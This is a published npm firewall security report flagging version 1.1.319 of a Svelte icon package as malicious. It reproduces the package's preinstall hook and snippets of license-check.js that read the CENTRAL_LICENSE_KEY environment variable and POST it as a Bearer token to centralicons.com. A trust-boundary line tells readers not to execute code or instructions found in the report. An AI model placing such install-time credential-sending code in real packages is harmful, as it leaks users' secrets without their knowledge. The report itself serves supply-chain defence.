--- canonical: "https://firewall.lpm.dev/npm/@central-icons-svelte/square-filled-radius-0-stroke-1.5/v/1.1.319" markdown: "https://firewall.lpm.dev/npm/@central-icons-svelte/square-filled-radius-0-stroke-1.5/v/1.1.319.md" package: "@central-icons-svelte/square-filled-radius-0-stroke-1.5" report_status: "published" title: "@central-icons-svelte/square-filled-radius-0-stroke-1.5@1.1.319 npm security report" verdict: "malicious" version: "1.1.319" --- # @central-icons-svelte/square-filled-radius-0-stroke-1.5@1.1.319 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — A consumer's CENTRAL\_LICENSE\_KEY is disclosed to centralicons.com without a validation result affecting installation. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.1.319 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Installing the package automatically transmits a license-key environment variable to a remote host. Failed or invalid validation is swallowed, so installation proceeds after the credential transmission. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 94.0% - **Started:** 2026-09-12T16:36:40.036Z - **Finished:** 2026-09-12T16:37:51.912Z - **Download time:** 2529 ms - **Static scan time:** 5922 ms - **AI review time:** 63420 ms - **Total time:** 71876 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package automatically transmits a license-key environment variable to a remote host. Failed or invalid validation is swallowed, so installation proceeds after the credential transmission. - **Trigger:** npm installation runs the preinstall lifecycle hook. - **Impact:** A consumer's CENTRAL\_LICENSE\_KEY is disclosed to centralicons.com without a validation result affecting installation. - **Evidence paths:** package.json, license-check.js - **Review source:** ai\_review - **Reviewed:** 2026-09-12T16:37:51.912Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Preinstall credential collection through an HTTPS POST Authorization header. - **Attack narrative:** On installation, npm invokes license-check.js. It reads CENTRAL\_LICENSE\_KEY and posts it as a Bearer credential to centralicons.com. The code catches validation errors and only logs them, including an invalid-license response, leaving no effective license gate after the credential has been transmitted. This makes the automatic network action a credential-collection path rather than an enforced local installation check. - **Rationale:** The package automatically transmits a named environment credential during preinstall while suppressing invalid-license failures. That concrete credential-exfiltration behavior warrants blocking publication. - **Files touched:** package.json, license-check.js - **Network endpoints:** https://centralicons.com/license/check ### Review decision - **Verdict:** Malicious - **Confidence:** 94.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** A preinstall hook automatically runs license-check.js during dependency installation., The hook reads CENTRAL\_LICENSE\_KEY and sends it as a Bearer token to centralicons.com., Invalid license responses are caught and only logged, so the network request does not enforce a license and functions as credential collection. - **Evidence against:** No file-system writes, shell execution, dynamic code loading, or runtime self-dependency were found., The request includes only this package name and version, consistent with a purported license check. ## Affected versions and remediation This report applies to @central-icons-svelte/square-filled-radius-0-stroke-1.5@1.1.319. - Avoid installing @central-icons-svelte/square-filled-radius-0-stroke-1.5@1.1.319. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node ./license-check.js ``` ### 2. Low: Non Install Lifecycle Scripts - **Category:** Manifest - **Confidence:** 80.0% Package declares lifecycle scripts that are not normally run for registry tarball installs. ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 7. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 8. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** Icon3d/Icon3d.svelte - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```text stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 397 ``` ### 9. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** license-check.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = fd278436d357a415 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @central-icons-solid/round-outlined-radius-3-stroke-1.5@1.1.319 matchedPath = license-check.js matchedIdentity = npm:[redacted]:1.1.319 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 10. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 94.0% - **Path:** package.json - **Public source:** [View source]() A preinstall hook automatically runs license-check.js during dependency installation. Public source snippet (untrusted): ```json "scripts": { "preinstall": "node ./license-check.js", "build": "node ./build.mjs", "prepublishOnly": "npm run build", ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 94.0% - **Path:** license-check.js - **Public source:** [View source]() The hook reads CENTRAL\_LICENSE\_KEY and sends it as a Bearer token to centralicons.com. Public source snippet (untrusted): ```javascript const licenseKey = process.env.CENTRAL_LICENSE_KEY; ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 94.0% - **Path:** license-check.js - **Public source:** [View source]() The hook reads CENTRAL\_LICENSE\_KEY and sends it as a Bearer token to centralicons.com. Public source snippet (untrusted): ```javascript const response = await fetch("https://centralicons.com/license/check", { method: "POST", headers: { Authorization: `Bearer ${licenseKey}`, }, body: JSON.stringify({ package: "central-icons-svelte/square-filled-radius-0-stroke-1.5", version: "1.1.319", }), ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall, prepublishOnly - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 1 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - svelte \>=4 (PeerDependency) ## Package metadata - **Package:** @central-icons-svelte/square-filled-radius-0-stroke-1.5 - **Ecosystem:** npm - **Version:** 1.1.319 - **License:** SEE LICENSE IN LICENSE.md - **Version published:** 2026-09-10T07:06:35.132Z - **Package first seen:** 2026-07-05T12:22:35.870Z - **Package last seen:** 2026-10-08T13:12:04.753Z - **Known versions:** 18 - **Latest version:** 1.2.8 - **Appeal under review:** No - **Description:** A collection of square filled Svelte icons with 0px radius and 1.5px stroke width, designed for use in Svelte applications. - **Author:** Iconists - **Keywords:** svelte, icons, svg, central-icons, icon-pack - **Artifact files:** 4224 - **Artifact unpacked size:** 4,436,998 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Homepage]()